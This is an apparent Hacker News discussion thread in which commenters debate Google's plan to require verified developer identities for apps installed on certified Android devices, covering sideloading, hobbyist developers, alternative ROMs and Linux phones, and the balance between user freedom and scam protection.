Natural incentives exist for tech majors to capture this space.
There's an Android app called GPSLogger.[1] It does exactly what it says on the tin. Runners use it to track their own progress. Photographers use it to geotag their own photos.
The thing is, GPS access as a permission is a bit scary. You could imagine some dubious uses for it. Moreover, you could imagine some such dubious uses creating a public relations nightmare for Google. So, Google just forces them out of the Play Store. (Technically, it's a routine renewal, but the GPS permission causes them extra scrutiny, to the point where the author burned out and gave up.[2])
Do we expect that this author should, or for that matter will, give their identity to Google after this? Or is GPSLogger just dead after this change lands?
If you read the article you'd see that this is a separate account type that does not have a submission fee or require legal documents. It also doesn't prevent you from side loading. It's just part of the current scare screen system when it comes to side loading.
> * You will need to provide and verify your personal details, like your legal name, address, email address, and phone number.
> * If you're registering as an organization, you'll also need to provide a D-U-N-S number and verify your organization's website.
> * You may also need to upload official government ID.
Only one of those three applies to organizations.
>A note for student and hobbyist developers: we know your needs are different from commercial developers, so we’re creating a separate type of Android Developer Console account for you.
Nothing about it says anything about having lighter requirements, just not going through a Play Console link. Even if the requirements end up being "lighter", the minimum will always be at least "link a Google account", which is already a massive privacy breach.
> It also doesn't prevent you from side loading.
It absolutely does. Quoting from Google:
>Starting next year, Android will require all apps to be registered by verified developers in order to be installed by users on certified Android devices.
certified Android devices being... 99.9% of all Android devices in existence.
Then you're familiar with the process of getting a DUNS number. Because that is a massive barrier for individual devs and small teams. That is actual legal paperwork. Not having to do that makes the process significantly easier.
It's not a massive privacy breach. If you are so anti-Google yet use their devices then most likely you're already only distributing to GrapheneOS or LineageOS anyway. For most people who already have a Google account this is a very small bar to clear.
Getting a DUNS number is ass, getting the 20 testers is ass, etc etc.
I do not want to give Google my government ID to write a shitty little app that only my family will use, or only close friends use and it gets sideloaded through sending it on chat. I do not want people making apps to skip ads on YouTube giving out their government ID. I do not want people making apps that might get them in trouble with their government to give out their government ID to Google.
> separate account type that does not have a submission fee or require legal documents
We do not know yet who will be considered "hobbyist". I would say they might check the user base. When hitting app installation threshold for let say 1,000 users, they will force you to pass the full legal check. Otherwise they will start blocking any further installations.
I think time quickly approaches when everyone will have one mobile phone for "banking/crypto" and the other for everything else.
Samsung used to have a very cool feature on their phones (perhaps they still do, I switched away from the galaxy line). It was called Knox and was basically containers for your apps.
Unfortunately it was limited to only one secure container. What I did was I had all my secure apps outside the container. And insecure inside. I had a fake address book that had only one phone number in "My Knox" and any app I installed there I could give all the file and address book permissions it wanted. As I knew it could only see what is inside.
That is what we need, but better. I never tried Graphene, but I wouldn't be surprised if there was such a feature thre already. It's kind of obvious.
Interesting. I've never really thought much about Samsung phones because I always felt that they were really full of bloatware and features that seemed to distract more than present usefulness.
Knox sounds like a pretty awesome feature though.
I use `nix-on-droid` on a Pixel 9 running stock Android 16. It provides me with a nix shell that gives me ZSH, Starship prompt, NeoVim, w3m, ssh, alpine, Claude-code, Circumflex (TUI HackerNews Client) and just about anything else I want from the Nix packages ecosystem. I even have NUR ( Nix User Repositories) set up. I daily drive NixOS for work and for Pleasure. It's the most advanced operating system I've ever encountered. I can't wax enough praise.
The closest thing to a truly open source, fully functional and daily used mobile that I ever had was the Nokia N900. Man how I miss that thing. Maemo was Nokia's original Linux-based mobile OS, which ran on the N900/950.
MeeGo was created when Nokia merged Maemo with Intel's Moblin project around 2010. It was supposed to be the future of Nokia smartphones, but Nokia abandoned it in 2011 when they switched to Windows Phone as their primary smartphone platform. Idiots.
Mer was created as an open-source continuation of MeeGo after Nokia dropped it.
Sailfish OS was then built on top of Mer by Jolla, a company founded by former Nokia employees who had worked on MeeGo.
Jolla launched in 2013 with the goal of continuing the Linux mobile vision that Nokia had abandoned. They make phones and tablets.
Sep.2026: "The requirement goes into effect in Brazil, Indonesia, Singapore, and Thailand. At this point, any app installed on a certified device in these regions must be registered by a verified developer."
Any hint why those countries first?
Is it a local law there driving this whole move? Is a critical mass of malware originating from there?
The better alternative? Dunno. An alternative is iPhone and just take some of the benefits that comes with it. It's been a much more closed ecosystem from the start, but it's owned it. Google had a competitive advantage over that but they seem intent on throwing those advantages away with no foreseeable other upsides.
In development, working on completely other problem spaces to mobile development at all. It's not 2012 anymore and there are other noteworthy growth areas to spend time on.
But one think in the short term was tonight I just spent some hours migrating registered accounts away using a Gmail account to Proton.
Time to move to a dumb phone, I guess. Android is slowly becoming worst of both worlds, none of the privacy features of iOS yet walls of the garden keeps getting higher.
The device maker controlling an app store made no sense always.
Its like saying the browser maker controls what websites you can visit.
We have so many efforts at keeping the web open, shouldn't we apply that to all platforms?
One thing that annoys me is that a lot of F-Droid apps are obviously naive ports with overbroad permissions like "can read the entirety of storage", but that's still better than the all-consuming Goo.
> Since we implemented verification requirements on Google Play in 2023, we have seen firsthand how helpful developer identification is in stopping bad actors from exploiting anonymity to distribute malware, commit financial fraud, and steal sensitive data.
This is truly some orwellian newspeak bull-shit.
For those who don't know, Google Play verification ensures critical apps like banking apps DO NOT WORK in privacy-focused ungoogled ROMs like LineageOS, unless you install the usual google spyware at the OS level. Basically soft-requiring you to buy into the duopoly.
Well that sucks. So basically all the money weve had taken from us for our play store apps is now "just" going to be spent on administering the registration details of 800 million chinese developers and 6 billion bot accounts.
This is just an extension of the increasing censorship and government / BigTech control that we have been witnessing in the past few years, with Google seeking the ability to prevent installation of any apps that is on a blocklist controlled by the government. And, like with the iDevices, this will also kill many free independent and open source apps once developers are forced to pay for "developer verification". "Free" apps are an anathema to the App Store business model.
Everytime i read a news like this i loose more hope for our world to not end up a Cyberpunk Dystopia. Like what am i supposed to do. I am just one man. One vote, one guy who isnt even to good at coding.
So "certified" Android devices are phasing out side loading, making Google Play the only way to install an app. This is the norm on iOS, right? And in many jurisdictions, from Russia to Denmark, there is an actively hostile, and rapid, legislative push to prevent or criminalize using E2E messaging apps like Signal.
How long is it until we see countries pushing to just delist Telegram, Signal, etc from the app stores?
Well, there are two options now: Linux phones and forking/deGoogling Android. I still believe the second is far more viable. There never was much reason to do all the work twice when there's sufficiently well licensed source around, and much of the app/phone compatibility is built-in. Maybe it's time I give a chance to /e/ OS or something of the like...
Here's my prediction: Sideloading will become slightly more popular. Google will not disable sideloading or make it significantly more difficult. Alternative APK stores will flourish. Banks and streaming sites will try to block people from connecting from devices with sideloading enabled, but they are slow and people will find workarounds faster. ISPs will not block devices with sideloading enabled. Governments will not ban sideloading.
Hmm this is weird. I've recently been considering switch back to Android because of how locked down ios is and it sounds like Google's now gonna do the same thing? Will there be a way to deactivate this?
One can only hope a company like Framework, Nothing, or Fairphone actually can produce and maintain some flagship devices running GrapheneOS or similar. The only reason I have been using Android is because of the freedom I have in my apps, customization, alternative app stores,... I hope the EU fights this with all their might. It also seems like a major geopolitical risk too.
Considering that Android 5 devices are still alive and well, it will take another 10 years for google to catch up. Hoping in that time Linux based true open source mobile operating systems will make some headway. Another alternative might be PWAs (progressive web apps), that one can "install" on your homescreen, but they could be axed next.
Software developer used to be one of the most 'free' professions. But now you need a stamp of approval from some corporation to get through the day, even if you are nominally independent. And woe to you if they should ever revoke your license to feed yourself. Because 'verified developer' is just another way to say 'not a threat to Google or Google's corporate image'.
Android is dead. With fascism now in power in the US I was going to save myself by degoogling my life anyway. This is the nail in Android's coffin for me.
If you think about it, the only thing that keeps this OS vendor in this duopolistic position is the fact that people rely on a certain proprietary apps. We need ways to do things like messaging and banking in a universal way, just like we can do with email, calls, texts and web. Banking and messaging should be fully universal so we don't rely on specific apps only available on specific app stores. That would take all power away from this satanic US companies!!!
I'm getting ready to give up on smartphones altogether. I used to think that surely a sufficiently open phone would come along, and that you could then just run a sandboxed Android emulator on that for whenever you needed some proprietary apps where society has stupidly decided you need them. But that also seems to be getting progressively harder.
So maybe I just give up on actually using a phone for much. Has anyone tried living with cheap Android or iPhone as a source of connectivity and making phone calls, perhaps with the odd app you just can't get through daily life without (see above), and then move everything where privacy and control actually matter the most to a small "pocket computer" that connects to the internet through a connection shared by the cheap phone? Are there any sufficiently compact and nice such devices? Surely they're easier to produce when you don't require a phone baseband and all the things that are needed for Google to certify it as an Android phone?
I've been working (slowly, due to lack of time) on running VMs with Waydroid inside of Linux Phones.
Sadly, I haven't found any resources to running a _regular_ Android VM on Linux. The few resources focused on that use x86_64, which is not reasonable for a Linux phone.
This seems like the only sensible long-term solution to me unless anyone else has an alternative. AOSP public access is already on the chopping block, custom ROMs are the short term solution but still operate at Google's whim under the hood.
The are apk's floating around from the Ice Cream Sundae days where the developer went out of business and is no longer on Play Store and this is literally the only way to run the app.
I have a Concept2 rower with the old PM3 monitor which is no longer supported by their ErgData app and the only way to connect my phone to my rower is by sideloading the ancient version of the app that supports it. So that's going to break now?
I don't think EU will be OK with that. Not because they care so much about user privacy, because they don't, but because they won't let citizens get tied into US-controlled devices for most critical stuff, like banking, healthcare, eGovernment, etc.
And I do get that Apple does that already, but once Google goes same way, they EU will be forced to acknowledge the status quo.
Potentially stupid question, how will android developers load their apps onto their devices to debug? Will they just have to be verified beforehand? Or is there still a path to installing APKs through ADB and/or Android Studio?
Not 75%, not 80% and not 90% but literal 100% of adds YouTube served me for a week were financial scams. It sounds to me the quickest way to fight it, is to make ad publishers finally take responsibility for taking part in crime.
You can buy a Linux phone today and make sure the vendors get their food on the table. Software is getting better. If you choose a phone with mainline kernel support (e.g. one that can run Mobian or PureOS), you can literally watch your OS improve month after month.
Alternatively, you can support the user-space ecosystem directly and fund the developers who make it happen.
Donate to Sebastian Krzyszkowiak [0] and Guido Günther [1] if you can!
I feel as an Android user, you've always had to put up with a more incoherent overall experience compared to iOS but received some additional freedom in return.
In recent years, Google has been steadily eroding their end of the bargain.
I wonder where that will leave them in the long term. Short term, I think restricting side loading will reduce piracy and drive sales of their subscriptions.
Long term though, I wonder what will set Android devices apart from iOS for the average user, apart from being offered at different price points.
It feels they're playing themselves into a position where they're more directly competing with Apple, ultimately restricting themselves to lower price devices and lower margin sales. As far as walled gardens go, I personally prefer Apple's and I assume most people do.
Why even run Android at that point anymore? iOS devices get security updates for longer and have much less data collection than stock Android.
GrapheneOS won't survive the next generation of devices because bootloader unlocking will also go away (https://news.ycombinator.com/item?id=44765939), and without kernel security updates that OS can't continue.
Now there's also no more sideloading, so what purpose does Android even serve anymore?
>GrapheneOS won't survive the next generation of devices because bootloader unlocking will also go away (https://news.ycombinator.com/item?id=44765939), and without kernel security updates that OS can't continue.
The comment in the thread you linked directly contradicts the claim that "bootloader unlocking will also go away".
Exactly, the only reason to be a weirdo and have android in the first place was because there's so many good apps available outside the play store, if they lock it down just like Apple then what's the point?
> Why even run Android at that point anymore? iOS devices get security updates for longer and have much less data collection than stock Android.
Because Google-free AOSP-derived Android distributions are far more versatile, offer far more freedom, impose far fewer restrictions and tend to end up being far less expensive than whatever the fruit factory decides their dedicants have to use today. If Google goes the way of the fruit folks and AOSP no longer offers these freedoms the next step is not to surrender to the Church of Apple but to find a way to evade those restrictions.
Can you download, build, and install a basic Android system these days without touching a single piece of closed code? Absolutely. Will it be able to do much without closed binaries? No.
Android isn't GNU/Linux where there's a general ethos of making everything in userland FOSS if at all possible. Rather, it's a free OS that both Google and manufacturers can do anything they want with, including shove a ton of spy and bloatware on it, then make it to where you can't get rid of those things, at least not easily.
The optimism from 15 years ago surrounding FOSS in the mobile space is on its deathbed.
Is it really doing anyone in FLOSS any favors if the projects are legally open but not practically?
I feel rooked on Android tbh. If the idea was to give large companies a free way to manage the hardware resources in SKUs that are competitors to the iPhone, yeah, it definitely accomplished that, but that makes it only a means to an end. It's not like GNU/Linux where there's any ethos to seriously change how software and services are delivered.
> iOS devices [..] have much less data collection than stock Android
iOS does a tremendous amount of data collection including for the usage of ads as per Apple's privacy policy. All the same types of data that stock Android collects, even.
You may believe Apple is a generally better steward of that data than Google, but using iOS does not reduce the amount of data being hoovered up in any meaningful capacity.
> Now there's also no more sideloading, so what purpose does Android even serve anymore?
I hate this change, but I still prefer Android. iOS is hardly perfect nor does it do everything better...
This is a result of the current tech being filled with dark design patterns. Tech is designed to be addictive, indispensable, indisputable, mandatory. And at the same time complex, hard, difficult, risky.
We are so used to tech as it is that it is simple to force these bad decisions for the greater good. Because everyone is sure there is no alternative. There’s no other way to design tech, it will always be so complex and powerful that gov and corps can onesidedly decide what is best for the rest of the world.
This might be an area where local AI excels, when ready. No apps. No sharing of personal data. One AI capable of doing what most software does, on the fly, without relying on others to decide what is ok. Remains to be solved who can create and distribute this local AI and whether hardware will be allowed to run “untrusted” AI…
This is why OS is so important for LLMs and the AI ecosystem in general.
Its also why we should not trust large AI corporations that appoint themselves as stewards of "AI safety". If a company that once had the slogan "don't be evil" can do this, so can all the frontier labs
Sorry, folks, the good times are over. The future of computing is a signed, attested chain of trust from boot firmware through application code, on all platforms people are likely to use -- and remote attestation with user identification if you wish to connect to the network. End users love it because it prevents or reduces all sorts of malicious activity, from bank fraud down to online game cheating, with little to no effort on their part; platform vendors love it because it provides a moat; service providers (banks and such) love it for the assurance that their clients are uncompromised; and governments love it because it lets them surveil users and developers.
The only ones who hate it are devs. And who really cares about a bunch of nerds?
Remember, general purpose computing really boils down in security terms to "arbitrary code execution" -- a bad thing in the infosec field.
It is telling that they have not yet released the process for hobbyists and students. While it is clearly just an evil move, in praxis for tech people this could mean just the extra hurdle of signing an APK with your own developer account: I could see a workflow on top of Fdroid (which also just could become a developer and use their keys for all FOSS apps). But I am guessing those evil geniuses will find a way to make it harder and harder. In the end it is not Google that can make the change but rather banks and streaming services that could accept alternative attestations from e.g. graphene, e/OS or eventually also lineage. Problem is the distribution of power, that won't change with out legislators pushing (see in app payment)
This will also open the door for targeting you specifically with spyware if software can only be installed from the Play store.
If you are logged in with a Google account that the government doesn't approve of or not signed into an account at all, you may receive a modified app that spies on you.
Dick move. Go back to "do no evil" big G. Remember how you used to be the kool kid on the block? Now you've just become the grown up you showed contempt for in your prime time.
I doubt I'll move away from Android too soon, but that definitely makes me reconsider whether any Google services have a right to CPU time on my device.
One of the reasons I switched to Android was the freedom to make apks for my phone and not dealing with certificates, expiry dates, Google's approval, etc.
This is a depressing change if they follow through with this.
And "in the name of security" doesn't pass the smell test if there is no way to opt out.
How does this impact security researchers? Or just student developers or tinkerers? This all seem like bad idea.
I would imagine security researcher could be registered developer but I could also see autobans if that is a thing to their accounts making life complicated.
Also some folks just being locked out of the due to government censorship etc..
If this goes through, would it be possible to see a consumer class-action lawsuit? I imagine there is a class of people for whom the sideloading of apps is necessary and removing it renders their phone almost useless. I'd also guess that this market is much larger than Google imagines.
Personally, if I'm not allowed to run the software that I want on my phone, it almost makes more sense for me to get some old flip phone or one of those chinese blackberry knockoffs c.a. 2012. Not out of any principled stance, mind you, it's just that's the level of functionality you'd be reducing me to. Why should I pay $500 when I can find something that gives me the same features on a literal junk pile?
The further into this corporatized "vision" of technology we go, the more I relate the elves in LoTR who basically said "our time is over" and then just leave Middle Earth.
There is no turning back. Generations of developers will grow up thinking every form of communication and technology by virtue of existing needs a corporate groundskeeper. Government identification will be required for most things.
I don't really blame the companies, though. Unfortunately, it actually is the best means to keep a society of the masses functioning more safely online. What makes it all the more sour is that the very idea that things could be different is eroding away, too.
>Unfortunately, it actually is the best means to keep a society of the masses functioning more safely online
Imagine if people felt that way about electrical power distribution? Every single thing you ever plugged in required a license to be validated at the time you tried to use an outlet?
For me, it's obvious that better ways of doing things exist, but I'm weird, and possibly a crank.
The solution, in my opinion, is to do the same thing we do with power in the home... limit the damage that can be done by anything plugged in, only giving away a limited capability for power delivery in a given outlet.
The analogous way to do this in an operating system is to discard the idea of providing all of the computing resources available to every program you run, and limit it in some way. The "permissions flags" we've all come to dread, first with UAC in Microsoft Windows, and now on our phones, obviously suck, and won't work.
The way to do it on a desktop, is to allow the user to choose exactly which resources a program may use, at runtime, by dialog boxes similar to the ones they already use, but with the additional behavior that the operating system enforces their choices, instead of just praying a program operates as intended.
On a phone, I don't have as strong an intuition, but I'm sure it can be worked out, both in a friendly, and secure way that doesn't require full time checking with consent from our betters in the corporate overlord hierarchy.
We can have secure and user friendly compute, both in our desktops, and in all our devices.
> The way to do it on a desktop, is to allow the user to choose exactly which resources a program may use, at runtime, by dialog boxes similar to the ones they already use, but with the additional behavior that the operating system enforces their choices, instead of just praying a program operates as intended.
> We can have secure and user friendly compute, both in our desktops, and in all our devices.
I'm doubtful about that, e.g. basically all existing file system sandboxing implementations that I'm aware of tend to break workflows that are more complex than "open exactly the one single file the user selected". (Apple's implementation tries a bit harder, but you still run into limitations pretty quickly.)
E.g. when I open an image in my favourite image viewer, I don't just want to view the one picture I've opened, often enough I also want to browse through other pictures within the same directory without having to explicitly open all those other images through some OS-secured gateway. And even that isn't enough, because my favourite image viewer also has the nifty feature of being able to quickly switch into a different directory (plus it has its own built-in thumbnail directory browser), so ultimately the only way to use its full functionality is through full file system access.
Or videos – subtitles are often enough stored in separate files, so a video player will want to look for those files, too, when it starts playing a video. Split-up archive files work along the same lines, too.
And never mind things like both HTML or DWG files, both of which can reference arbitrary other files up and down the directory hierarchy which need to be loaded at the same time, too…
Now the OS can't be expected to know about the peculiarities of each and every file type, plus you can't make permissions dialogues arbitrarily complex, either, which leads you back to the dilemma of ultimately either breaking more complex workflows, or else having to provide an escape hatch that then promptly runs the risk of getting abused by malicious actors, too.
"A recent analysis by the company found that there are “over 50 times more malware from internet-sideloaded sources than on apps available through Google Play.”
Ok, but what's the real damage? In other words, how many installs and how much money siphoned from users and legit apps?
Disgusting, horrifying, but utterly predictable. A dark day indeed, once no major mobile platform allows running whatever code you wish. Sideloading isn't really sideloading if the app has to be signed by the gatekeeper.
Isn't this a death knell for F-Droid, at least for running on most hardware? Since they require their own builds/attestation?
The Overton Window for computing keeps inching towards gatekeepers having total control over devices. I can't help but imagine myself lurching along on the last somewhat open hardware I can cobble together in a couple of decades, because I refuse to drink the verification can to continue...
My favourite part of this thread is that the Google pr team know it's bad and aren't even attempting the usual spin in the comments. I guess they're waiting for it to blow over and just work on the "it's here and it's happening" stage
Google (and Apple) want to turn the idea of a phone and computer into that of a gaming console. You use the device according to how they design it, apps are rented, the whole ecosystem is around controlling the experience and maximizing revenue from sites and services. Microsoft seems to be moving in this direction as well (but cannot quite execute for a variety of reasons.. legacy support being one)
Linux really is the only way to have an experience where the computer is your device to do what you want to do with it.
>Android will require all apps to be registered by verified developers in order to be installed by users on certified Android devices.
It's annoying combined with them making that much harder to be a verified developer. I had an android dev account for years and published an app when it was $20 for life but now there's a bunch of hassle involved. If they had the old $20 and upload your passport to prove id it wouldn't be so bad.
Never heard of DUNS. It seems to be a US company *Dun & Bradstreet) that provides business intelligence.
It seems kind of odd to me to rely on some kind of external hidden "credit agency"-style company for this? And why would DUNS want to know about some kid in their basement in Bangledesh making (non-malicious) apps, and why would the kid want Dun & Bradstreet to know about them? It makes no sense at all.
They're trying to control malware. Tying apps that may be malicious to an identity that takes some degree of cost and effort to establish seems sensible in that light.
It's not that the identity prevents malware/abuse, but publishing any malware to the store burns the identity and establishing another is harder than simply coming up with a new email address. It's not necessarily the best scheme out of there, but it makes sense given their apparent goal.
Yeah, basically this is the rise of computer-credit agencies.
Youc an see the zeitgeist forming around corporations wanting to lock out any small unlicensed company from working on phones.
The key is mostly fascism in the guise of "security". Witness stuff like the ICE tracker app. Google would love a way to freeze out both it's appearance on the app store and any developer who'd program similar.
For me the difference is that Android is an open-source operating system. It sold itself and differentiated itself to users, developers and phone manufacturers as an open ecosystem built on open-source foundations.
Over the years, it seems Google has been trying to have their cake and eat it too, by basically subsuming others to use Android through this appeal of a more free and open operating system ecosystem, but have tried to slowly close and close it down now that it has won the other half of the market on that promise.
This feels more sly, because it's kind of a bait and switch. Apple never made such claim and was always upfront, so while I don't like it, I never bought into it in the first place for them to have the rug pulled under me after giving them my money as Google might be doing.
FWIW I got a DUNS number through apple as a single developer for a corp. It was super easy. If you've already gone through the trouble of setting up a corp, getting the DUNS is trivial by comparison.
Yes. You gotta pay your 100 bucks, but I don't remember feeling like my privacy was being invaded when getting a developer account. I assume the best reason they have for this is that they can nuke the account, effectively killing the install base of an app is reported to be malicious. Unless someone tells me why I should, I don't have a huge issue with this.
> I assume the best reason they have for this is that they can nuke the account, effectively killing the install base of an app is reported to be malicious.
They can already target malicious apps via Play Protect, including presumably all apps signed by the same signing key, so from that point of view no change would be needed. What this is presumably supposed to achieve is rather making it harder to rotate your signing key after it has been burnt…
Apple and Google are now competing on being more closed, rather than on being more open. Perhaps because we gave Apple a free pass on curbing our freedoms, and even defended its actions as needed for 'security'
Play Integrity and device attestation need their own torrent-tracker moment, just like DRM did.
GrapheneOS says they won't touch it because it's a cat-and-mouse game. I think that's the wrong call. DRM was the same, yet torrent trackers are still here.
We have to find a way to punish Google if they move forward with this. We need the Gemini folks to be worried that this distraction will jeopardize their competitiveness in AI.
I have a horror thought: "We cannot validate your identity as you are of the wrong nationality; therefore, you are not allowed to publish any Android apps."
The D-U-N-S requirement is the real killer here. It's a business identifier that costs money and requires a registered business entity. Even with the promised 'student/hobbyist' path, this fundamentally changes Android from a platform where anyone can distribute software to one where Google decides who's allowed to code. They're further normalizing the idea that installing software requires permission.
I saw this coming a mile away. Everyone said you could install whatever you wanted on Android, but you were always jumping through some crazy hoops to do so. (compared to a general propose computer)
Now and then I remember this Hyperion book by Dan Simmons where everyone had a cross-like gadget glued to their chests, controlled by a TechnoCore - a civilization of AIs, which enabled people to cast themselves through space portals. As the story unfolds, this cross-like (very nice choice) gadget is revealed to essentially enslaving them.
The story unfolds in 28th century, but it all seems have started in the 21st one.
These companies need to be destroyed by antitrust violations. I am so tired of these tech companies abusing their market position. I want the FTC to stop being toothless and useless and just absolutely crush these companies. The amount of disdain I have for these companies can't even be properly expressed.
These companies are in bed with the government, you're not going to be saved by any legislation. Many people on this site supported Google censoring the Covid anti-vax idiots, but it should have made it very clear that Google was working at the behest of the government. They're in bed together; the government gets to do an end-run around the constitution, and Google gets to rely on special government privileges and protection. Win-win.
These corpos are part of the government, more or less, and they simply implement the edict to get rid of privacy. Not only in America. Smartphones have become eyes of the govs, while the Internet - something akin to their neural system. What's more interesting is why the govs feel so paranoidal and insecure recently? What are they afraid of?
Android is getting more closed and iOS more open, I expect more people dissatisfied from both camps. We’ll have less choice overall as they gravitate towards a common middle ground.
It would be really nice if all you people with deep insight into this issue would inform politicians of the unacceptable nature of things like this.
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Submitted FTC and FCC complaints. Likely does no good but going silently into the night isn't going to to fix anything either.
Most Android apps are crapware anyways. The only respectful apps that I know are open-source, and are being kicked out the of play store progressively.
I use linux on nearly all my PCs / servers. I do think about moving my phone to more open platform (fairphone, or rooting phone), but I don't like phones in principle, so I do not install stuff there. I do not do things on phone.
I have my apps as web pages, so I access them from phone web browser. I do not care about phone apps that much.
I use fdroid for calendar, gallery, and music though.
they've been demanding signing keys for apps distributed on the play store for years.
The only credible explanation I can come up with is that they need the keys in order to produce indistinguishably backdoored versions of applications, handy for tools like signal.
Otherwise one would never think of requesting the private keys-- if google wants to rebuild apps themselves they could sign with their own keys and possessing anyone elses private key is just pure liability as if there is any discovered abuse they can't show that they weren't the vector.
This truly sucks, since in this day and age we need unmodified phones for banking apps (and I think for oncall my company requires Android/iOS as well). I guess this will be the final push for me to change to iOS, since I already have a bunch of Apple stuff otherwise, and I was holding out on the phone side for this exact feature.
> This requirement applies to “certified Android devices” that have Play Protect and are preloaded with Google apps.
I would be fine, if it was mandatory for Android manufacturers to allow installing alternative OSes. Normies could benefit from the added security on their certified Android device, and advanced users could install GrapheneOS.
I've been saying in threads on iOS vs Android for years how we're lucky the only other phone OS out there allows sideloading, and the nightmare we'd be living in if it didn't.
Guess we've arrived, I wish people voted with their wallets more, iOS could have added this a decade ago.
If I have to be in handcuffs, I would rather them be high-quality hardware like Apple. So far, the only two things that have held me away from the Apple ecosystem are Linux and Android and the flexibility they offer. Seems like we are just left with Linux now. A very sad day.
The desire for people to keep using their currently working devices just got much bigger, and yet another good reason to root.
The infamous Franklin quote always comes to mind when I see things like this happening. Choose freedom over security while you still can, or you'll soon not even have the freedom to choose.
It's also worth reading Stallman's "Right to Read" again, to see how scarily prescient he was.
This is why I started investing in alternative Linux based solution providers in the smartphone market years ago. It was not if but when Google would take this path.
The only way I want to engage with Google is when it cost them money. I will not give them a penny directly.
For example Telegram they have two app versions one in playstore where google can dictate what channels are allowed and one on their website where google can't force them to take down channels, so now Google will need to approve Telegram second app to be installed on Android?
It's easy. For the average user, device integrity is more valuable (by a lot) than side loading.
People that think this is unacceptable are not remotely average users. Average users benefit greatly from their pocket appliance not being a full fledged computer.
Ultimate control over devices you own should be a basic right. Apple's wanton abuse of users and developers via the control they have over their platform, and Google's nipping at their heels, should be evidence enough of that.
Fundamentally, it is a trust issue. Why should I be forced to trust Google or Apple has my best interests in mind (they don't)? That is not ensuring 'device integrity', it's ensuring that I am at the whims of a corporation which doesn't care about me and will leverage what it can to extract as much blood as it can from me. You can ensure 'device integrity' without putting any permanent trust in Google or Apple.
That was intended to be a generic 'device manufacturer', not calling out Google and Apple specifically. It's my device. I should control it, full stop. It should simply not be legal for a device manufacturer to lock me out of a device I own, post sale. In the past it wasn't _possible_, so we didn't need to worry about it. But now the tech is at the point where manufacturers can create digital locks which simply cannot be broken, and give them full control of devices they sell (ie. which they no longer own), which are being used in anti-consumer ways.
Considering market forces are against it, I believe the only practical way to accomplish this in the long term is for this to be a right that is enforced by legislation. I don't think it is even far from precedent surrounding first sale doctrine and things like Magnuson-Moss, that the user should be the ultimate one in control post-purchase, it just takes a different shape when we're talking about computing technology.
> No one is forcing you to buy a particular device.
True. But society in practice requires a smartphone with one of two operating systems to live a normal life without significant efficiency losses in your day. Now all phones with both of those will be completely walled off. You'll be forced to participate or make your life a lot less convenient.
Surely you wouldn't defend absolutely anything happening to say roads just because you're not forced to drive, technically speaking?
So you think it's okay for manufacturers to take advantage of users as long as they continue buying the locked-down devices? I disagree, and I think this argument is incredibly disingenuous. You could make the same specious argument about nearly any consumer protection or antitrust case. Just because consumers will put up with it, or because they are manipulated into believing it's good for them, doesn't mean they shouldn't be protected.
Furthermore, if you fundamentally allow this behaviour, the market forces are sure to push us to an end state where users simply have no control, and there are no viable alternatives. We are most of the way there already when it comes to smartphones. The cost of entry to this market (many $billions over many years, if you can even manage to gain meaningful marketshare at all), and the amount of money that is on the table (30% of the $billions transacted on a successful platform today, but who knows how far they push with a real stranglehold) means that it is virtually impossible for competition to solve this problem.
You are forced to trust Google or Apple if you want a smartphone. They own the whole market, it's a duopoly. You already have no power to install an OS without such limitations on most smartphones.
Limitations because it's not just protection - you don't get to choose which authorities you trust. Defaulting to manufacturer/OS vendor as the default authority would be ok, but there is no option to choose. Users have no power over their own device. That's not ok even if most choose to never execute it or don't know about it, it will lead to abuse of power.
Modern life without either of these OS (or like a phone number) is pretty difficult, i.e. you can't charge your car or access e-government without an app.
why do you think you have any say over others' rights? using that same logic, you know what? i think you're going to steal my phone. so do you mind if i sacrifice your rights and install a camera right in your room? wouldn't want you to plot the theft of my phone now would i
Id argue that the average user is not a good barometer. They are okay with slowly being boiled alive. See windows 11 as a good example.
What's being sacrificed in the name of security is not worth it imo.
Enabling side loading on android is not a standard setting you can flick on. Is there any data on the number of devices who have this enabled and are falling for hacked apps?
I might partially agree, but the market already has a fantastic, secure option for those users: Apple.
Android's value was always in being the open(ish) alternative. When we lose that choice and the whole world adopts one philosophy, the ecosystem becomes brittle.
We saw this with the Bell monopoly, which held up telephone innovation for three quarters of a century.
In the short term, some users are safer. In the medium term, all users suffer from the lack of competition and innovation that a duopoly of walled gardens will create.
They're happy in their walled garden, until they don't and discover there is a wall they now can't overcome and learn whose hardware it really is
I do think it is in everyone's interest to be able to run software of your choosing on hardware you bought to own. The manufacturer needn't make it easy (my microwave sure didn't expect to install extra software packages; I don't expect them to open up an interface for this) but they also don't need to actively block the device owner from doing it
Bro, you forbade exactly the reason this is good for average users. Average users get emails that say:
> you have been infected by 3 viruses, click here in the next 5 minutes or the damage will be permanent
And they believe it. Giving them the power to run any software they want, also means giving everyone else the power to make them run any software they can be tricked into installing.
I'm deeply concerned about how this will impact users like us, especially since we're such a small minority that our desires could easily be trampled by the masses, but this is a clear win for the average user.
(And don't make the perfectionist fallacy w.r.t. Google not successfully preventing 100% of malware)
Damn we should just give up on this whole computer thing outright then, seems pretty dangerous. There are plenty of other things we could strip away that would make people much safer than just installing software, that's thinking small!
Stripping away computers entirely would have significant negative impacts. For the *average user*, preventing them from side-loading unsigned apps will have no negative impact.
For now, maybe. Like all discussions on freedoms and rights it's usually not about the day to day impact or the average person, if we optimized for the average person, we'd be in a sorry state.
Two reasons: they are not educated about devices they use, desktop operating systems are still awful at security (exe from a mail attachment can have a pdf looking thumbnail, executed with two clicks, even if accidental, immediately gets access to all user files... the whole concept of antivirus software...). It has nothing to do with side loading, especially on Android, where sideloading is a very explicit action already, and then you need to allow the application to do harm.
> Giving them the power to run any software they want, also means giving everyone else the power to make them run any software they can be tricked into installing.
You are taking away people's agency. Either you get to control your bank account risking that you get scammed, or someone will control it for you.
> very explicit action already, and then you need to allow the application to do harm.
So the email they get which tells them about the 3 viruses also contains a phone number where a "nice tech support person" will walk them through the steps of side-loading the "anti-virus app". You'd be surprised at what warnings/permission boxes people will blindly accept when they think they're talking to someone from Microsoft or Google's tech support.
> You are taking away people's agency.
Agency they don't want and never use. It's taking away agency from people like us but for the average user, Google is taking away nothing they've ever cared about.
> Either you get to control your bank account risking that you get scammed, or someone will control it for you.
I was just saying a couple of days ago that we need a service for old people where any transaction above a certain configurable threshold (for example, $500 in a day) has to be approved by an employee of this service who serves as a neutral 3rd party whose sole function is to try to prevent scams. That way the old folks would still have their agency so they can go out and buy all the hot-rods and transistor radios they want but if they're about to wire money to "Microsoft" then the anti-scam-company would step in and prevent that transaction (or at least require the old person have a discussion about why its an obvious scam first before eventually allowing the transaction through depending on the client).
